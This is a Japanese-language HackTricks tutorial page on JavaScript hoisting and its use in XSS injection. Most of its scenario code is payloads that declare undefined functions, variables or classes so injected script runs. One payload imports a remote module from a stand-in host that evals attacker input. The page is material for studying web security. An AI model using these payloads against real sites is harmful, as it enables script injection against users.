JS Hoisting

Support HackTricks

基本情報

JavaScript言語では、変数、関数、クラス、またはインポートの宣言がコードが実行される前にそのスコープの先頭に概念的に持ち上げられるメカニズムであるホイスティングが説明されています。このプロセスは、JavaScriptエンジンによって自動的に実行され、スクリプトを複数回通過します。

最初のパスでは、エンジンはコードを解析して構文エラーをチェックし、抽象構文木に変換します。このフェーズにはホイスティングが含まれ、特定の宣言が実行コンテキストの先頭に移動されます。解析フェーズが成功すると、構文エラーがないことを示し、スクリプトの実行が進行します。

理解することが重要です:

  1. スクリプトは実行されるために構文エラーがない必要があります。構文ルールは厳密に遵守されなければなりません。

  2. スクリプト内のコードの配置はホイスティングのために実行に影響を与えますが、実行されるコードはそのテキスト表現とは異なる場合があります。

ホイスティングの種類

MDNの情報に基づくと、JavaScriptには4つの異なるホイスティングの種類があります:

  1. 値のホイスティング:宣言行の前にそのスコープ内で変数の値を使用できるようにします。

  2. 宣言のホイスティング:宣言の前にそのスコープ内で変数を参照できるようにしますが、変数の値はundefinedになります。

  3. このタイプは、実際の宣言行の前に変数が宣言されるため、そのスコープ内の動作を変更します。

  4. 宣言の副作用は、それを含む他のコードが評価される前に発生します。

詳細には、関数宣言はタイプ1のホイスティング動作を示します。varキーワードはタイプ2の動作を示します。letconst、およびclassを含むレキシカル宣言はタイプ3の動作を示します。最後に、import文は、タイプ1とタイプ4の両方の動作でホイスティングされる点でユニークです。

シナリオ

したがって、未宣言のオブジェクトが使用された後にJSコードを注入できるシナリオがある場合、宣言することで構文を修正できるため(エラーを投げるのではなく、あなたのコードが実行されるように):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

さらなるシナリオ

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

参考文献

HackTricksをサポートする

Last updated